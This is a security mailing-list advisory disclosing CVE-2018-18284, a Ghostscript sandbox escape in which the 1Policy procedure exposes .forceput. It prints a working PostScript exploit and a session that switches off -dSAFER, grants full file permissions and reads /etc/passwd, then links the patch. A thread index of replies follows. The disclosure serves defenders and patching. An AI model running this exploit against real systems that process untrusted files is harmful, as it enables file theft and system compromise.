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ghostscript: 1Policy operator gives access to .forceput CVE-2018-18284
From: Tavis Ormandy <taviso () google com>
Date: Tue, 16 Oct 2018 11:06:14 -0700
Hello, this <https://bugs.chromium.org/p/project-zero/issues/detail?id=1696> is CVE-2018-18284, another ghostscript sandbox escape. Because procedures in postscript are just executable arrays, all system procedures need to be marked as executeonly, so that users cannot peek at their internals with array operators. We have also recently learned that they must be marked as pseudo-operators, otherwise their contents might leak to error handlers. That makes sense, unless the procedure itself is dangerous - in that case it must be hidden. 1Policy is a procedure that was correctly marked as executeonly and made a pseudo-operator, but was basically just a wrapper around .forceput. Here is how to exploit it: /.forceput { <<>> <<>> 4 index (ignored) 5 index 5 index .policyprocs 1 get exec pop pop pop pop pop pop pop } def Once you have access to .forceput, you can basically do whatever you want, see the exploit for CVE-2018-17961 a full example of backdooring .bashrc. Here is a simpler repro, just reading /etc/passwd: $ gs -dSAFER -sDEVICE=ppmraw GPL Ghostscript 9.25 (2018-09-13) Copyright (C) 2018 Artifex Software, Inc. All rights reserved. This software comes with NO WARRANTY: see the file PUBLIC for details. GS>/.forceput { <<>> <<>> 4 index (ignored) 5 index 5 index .policyprocs 1 get exec pop pop pop pop pop pop pop } def GS>systemdict /SAFER false .forceput GS>systemdict /userparams get /PermitFileControl [(*)] .forceput GS>systemdict /userparams get /PermitFileWriting [(*)] .forceput GS>systemdict /userparams get /PermitFileReading [(*)] .forceput GS>(/etc/passwd) (r) file 1024 string readline pop == (root:x:0:0:root:/root:/bin/bash) GS> This patch solves it: http://git.ghostscript.com/?p=ghostpdl.git;h=8d19fdf63f91f50466b08f23e2d93d37a4c5ea0b Side note: I'm done looking at ghostscript for now, but still *strongly* recommend that we deprecate untrusted postscript and disable ghostscript coders by default in policy.xml. Thanks, Tavis.
Current thread:
- ghostscript: 1Policy operator gives access to .forceput CVE-2018-18284 Tavis Ormandy (Oct 16)
- Re: ghostscript: 1Policy operator gives access to .forceput CVE-2018-18284 Perry E. Metzger (Oct 16)
- Re: ghostscript: 1Policy operator gives access to .forceput CVE-2018-18284 Tavis Ormandy (Oct 16)
- Re: ghostscript: 1Policy operator gives access to .forceput CVE-2018-18284 Rich Felker (Oct 16)
- Re: ghostscript: 1Policy operator gives access to .forceput CVE-2018-18284 Bob Friesenhahn (Oct 17)
- Re: ghostscript: 1Policy operator gives access to .forceput CVE-2018-18284 Tavis Ormandy (Oct 16)
- Re: ghostscript: 1Policy operator gives access to .forceput CVE-2018-18284 Hanno Böck (Oct 16)
- Re: ghostscript: 1Policy operator gives access to .forceput CVE-2018-18284 Perry E. Metzger (Oct 16)
- Re: ghostscript: 1Policy operator gives access to .forceput CVE-2018-18284 Perry E. Metzger (Oct 16)
- Re: ghostscript: 1Policy operator gives access to .forceput CVE-2018-18284 Tavis Ormandy (Oct 17)
- Re: Re: ghostscript: 1Policy operator gives access to .forceput CVE-2018-18284 Jordan Glover (Oct 18)
- Re: Re: ghostscript: 1Policy operator gives access to .forceput CVE-2018-18284 Tavis Ormandy (Oct 18)
- Re: Re: ghostscript: 1Policy operator gives access to .forceput CVE-2018-18284 Jordan Glover (Oct 18)
- Re: Re: ghostscript: 1Policy operator gives access to .forceput CVE-2018-18284 Jordan Glover (Oct 18)